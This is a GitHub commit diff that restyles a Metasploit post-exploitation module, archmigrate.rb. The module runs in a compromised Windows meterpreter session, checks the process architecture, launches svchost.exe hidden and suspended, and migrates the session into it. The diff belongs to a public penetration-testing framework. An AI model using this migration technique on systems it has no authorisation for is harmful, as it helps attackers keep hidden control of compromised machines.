Skip to content

Commit 08b2a97

Browse files
author
Koen Riepe
committed
Changed styling to be more in line with rubocop.
1 parent 628827c commit 08b2a97

File tree

1 file changed

+26
-20
lines changed

1 file changed

+26
-20
lines changed

modules/post/windows/manage/archmigrate.rb

Lines changed: 26 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -5,28 +5,34 @@ class MetasploitModule < Msf::Post
55
include Msf::Post::File
66
include Msf::Post::Common
77

8-
def initialize(info={})
9-
super(update_info(info,
10-
'Name' => 'Architecture Migrate',
11-
'Description' => %q{This module checks if the meterpreter architecture is the same as the OS architecture and if it's incompatible it spawns a new process with the correct architecture and migrates into that process.},
12-
'License' => MSF_LICENSE,
13-
'Author' => ['Koen Riepe ([email protected])'],
14-
'References' => [''],
15-
'Platform' => [ 'win' ],
16-
'Arch' => [ 'x86', 'x64' ],
17-
'SessionTypes' => [ 'meterpreter' ]
18-
))
8+
def initialize(info = {})
9+
super(update_info(
10+
info,
11+
'Name' => 'Architecture Migrate',
12+
'Description' => %q(This module checks if the meterpreter architecture is the same as the OS architecture and if it's incompatible it spawns a
13+
new process with the correct architecture and migrates into that process.),
14+
'License' => MSF_LICENSE,
15+
'Author' => ['Koen Riepe ([email protected])'],
16+
'References' => [''],
17+
'Platform' => [ 'win' ],
18+
'Arch' => [ 'x86', 'x64' ],
19+
'SessionTypes' => [ 'meterpreter' ]
20+
)
21+
)
1922

20-
register_options(
21-
[
22-
OptString.new('EXE', [true, 'The executable to start and migrate into', 'C:\windows\sysnative\svchost.exe']),
23-
OptBool.new('FALLBACK', [ true, 'If the selected migration executable does not exist fallback to a sysnative file', true ])
24-
], self.class)
23+
register_options(
24+
[
25+
OptString.new('EXE', [true, 'The executable to start and migrate into', 'C:\windows\sysnative\svchost.exe']),
26+
OptBool.new('FALLBACK', [ true, 'If the selected migration executable does not exist fallback to a sysnative file', true ])
27+
],
28+
self.class
29+
)
2530
end
2631

27-
def is_32_bit_on_64_bits
32+
def check_32_on_64
2833
begin
2934
apicall = session.railgun.kernel32.IsWow64Process(-1, 4)["Wow64Process"]
35+
# railgun returns '\x00\x00\x00\x00' if the meterpreter process is 64bits.
3036
if apicall == "\x00\x00\x00\x00"
3137
migrate = false
3238
else
@@ -45,12 +51,12 @@ def get_windows_loc
4551
end
4652

4753
def run
48-
if is_32_bit_on_64_bits
54+
if check_32_on_64
4955
print_status('The meterpreter is not the same architecture as the OS! Upgrading!')
5056
newproc = datastore['EXE']
5157
if exist?(newproc)
5258
print_status("Starting new x64 process #{newproc}")
53-
pid = session.sys.process.execute(newproc, nil, {'Hidden' => true, 'Suspended' => true}).pid
59+
pid = session.sys.process.execute(newproc, nil, { 'Hidden' => true, 'Suspended' => true }).pid
5460
print_good("Got pid #{pid}")
5561
print_status('Migrating..')
5662
session.core.migrate(pid)
@@ -66,7 +72,7 @@ def run
6672
newproc = "#{windir}:\\windows\\sysnative\\svchost.exe"
6773
if exist?(newproc)
6874
print_status("Starting new x64 process #{newproc}")
69-
pid = session.sys.process.execute(newproc, nil, {'Hidden' => true, 'Suspended' => true}).pid
75+
pid = session.sys.process.execute(newproc, nil, { 'Hidden' => true, 'Suspended' => true }).pid
7076
print_good("Got pid #{pid}")
7177
print_status('Migrating..')
7278
session.core.migrate(pid)

0 commit comments

Comments
 (0)